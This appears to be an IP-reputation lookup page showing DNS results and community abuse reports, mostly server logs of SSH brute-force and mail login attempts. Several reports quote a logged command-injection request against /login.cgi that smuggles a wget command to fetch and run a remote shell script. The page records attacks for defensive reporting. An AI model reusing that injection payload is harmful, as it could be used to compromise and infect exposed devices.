Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: United Kingdom of Great Britain and Northern Ireland (the)

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
b
Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 166.49.19.48
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 32952
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;166.49.19.48.			IN	A

;; AUTHORITY SECTION:
.			30	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2025012901 1800 900 604800 86400

;; Query time: 10 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Thu Jan 30 07:15:22 CST 2025
;; MSG SIZE  rcvd: 105
Host info
Host 48.19.49.166.in-addr.arpa. not found: 3(NXDOMAIN)
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 48.19.49.166.in-addr.arpa: NXDOMAIN
Related IP info:
Related comments:
IP Type Details Datetime
41.233.191.118 attack
1 attack on wget probes like:
41.233.191.118 - - [22/Dec/2019:12:24:00 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11
2019-12-23 22:31:40
159.203.83.37 attack
Invalid user patsi from 159.203.83.37 port 33214
2019-12-23 22:47:54
140.255.141.216 attackbotsspam
Dec 23 01:13:41 esmtp postfix/smtpd[20260]: lost connection after AUTH from unknown[140.255.141.216]
Dec 23 01:13:46 esmtp postfix/smtpd[20441]: lost connection after AUTH from unknown[140.255.141.216]
Dec 23 01:13:52 esmtp postfix/smtpd[20320]: lost connection after AUTH from unknown[140.255.141.216]
Dec 23 01:13:55 esmtp postfix/smtpd[20439]: lost connection after AUTH from unknown[140.255.141.216]
Dec 23 01:13:58 esmtp postfix/smtpd[20260]: lost connection after AUTH from unknown[140.255.141.216]

........
-----------------------------------------------
https://www.blocklist.de/en/view.html?ip=140.255.141.216
2019-12-23 22:50:23
49.88.112.55 attack
SSH login attempts
2019-12-23 22:44:00
206.189.133.82 attackbots
SSH Brute Force, server-1 sshd[5888]: Failed password for invalid user technicom from 206.189.133.82 port 46940 ssh2
2019-12-23 22:40:52
1.194.239.202 attack
Dec 23 12:11:43 *** sshd[3155]: User root from 1.194.239.202 not allowed because not listed in AllowUsers
2019-12-23 22:29:09
197.47.112.46 attackspambots
1 attack on wget probes like:
197.47.112.46 - - [22/Dec/2019:09:33:08 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11
2019-12-23 22:53:07
14.173.183.79 attack
Scanning random ports - tries to find possible vulnerable services
2019-12-23 22:24:40
159.203.139.128 attackspambots
Dec 23 09:12:21 mail sshd[8185]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=159.203.139.128  user=root
Dec 23 09:12:24 mail sshd[8185]: Failed password for root from 159.203.139.128 port 48346 ssh2
Dec 23 10:00:02 mail sshd[14050]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=159.203.139.128  user=root
Dec 23 10:00:04 mail sshd[14050]: Failed password for root from 159.203.139.128 port 54740 ssh2
Dec 23 10:14:59 mail sshd[16133]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=159.203.139.128  user=root
Dec 23 10:15:01 mail sshd[16133]: Failed password for root from 159.203.139.128 port 60290 ssh2
...
2019-12-23 22:29:54
223.113.52.53 attack
firewall-block, port(s): 443/tcp, 853/tcp
2019-12-23 22:22:13
101.255.81.91 attackbots
Dec  8 20:01:11 yesfletchmain sshd\[7340\]: Invalid user emran from 101.255.81.91 port 51146
Dec  8 20:01:11 yesfletchmain sshd\[7340\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=101.255.81.91
Dec  8 20:01:13 yesfletchmain sshd\[7340\]: Failed password for invalid user emran from 101.255.81.91 port 51146 ssh2
Dec  8 20:10:24 yesfletchmain sshd\[7595\]: Invalid user advanced from 101.255.81.91 port 36274
Dec  8 20:10:24 yesfletchmain sshd\[7595\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=101.255.81.91
...
2019-12-23 22:27:11
156.206.0.191 attackbotsspam
1 attack on wget probes like:
156.206.0.191 - - [22/Dec/2019:22:08:39 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11
2019-12-23 22:36:01
151.80.41.124 attackspambots
Invalid user stewarts from 151.80.41.124 port 36252
2019-12-23 22:51:51
115.93.122.21 attackbotsspam
Dec 22 07:35:37 vpxxxxxxx22308 sshd[27593]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=115.93.122.21  user=r.r
Dec 22 07:35:38 vpxxxxxxx22308 sshd[27593]: Failed password for r.r from 115.93.122.21 port 37544 ssh2
Dec 22 07:35:44 vpxxxxxxx22308 sshd[27609]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=115.93.122.21  user=r.r
Dec 22 07:35:46 vpxxxxxxx22308 sshd[27609]: Failed password for r.r from 115.93.122.21 port 43402 ssh2
Dec 22 07:36:15 vpxxxxxxx22308 sshd[27660]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=115.93.122.21  user=r.r
Dec 22 07:36:18 vpxxxxxxx22308 sshd[27660]: Failed password for r.r from 115.93.122.21 port 49260 ssh2
Dec 22 07:36:46 vpxxxxxxx22308 sshd[27743]: Invalid user test from 115.93.122.21
Dec 22 07:36:46 vpxxxxxxx22308 sshd[27743]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= r........
------------------------------
2019-12-23 22:43:24
156.196.53.45 attack
1 attack on wget probes like:
156.196.53.45 - - [22/Dec/2019:19:37:50 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11
2019-12-23 22:34:46

Recently Reported IPs

16.200.241.91 93.247.245.72 210.15.103.57 166.192.12.176
87.47.212.160 227.236.206.45 19.45.131.157 144.253.128.71
236.104.200.72 207.41.166.60 189.84.156.48 75.232.72.243
40.169.28.126 76.71.243.61 51.64.253.75 220.21.146.57
222.148.215.253 209.179.142.160 48.16.175.14 116.209.63.145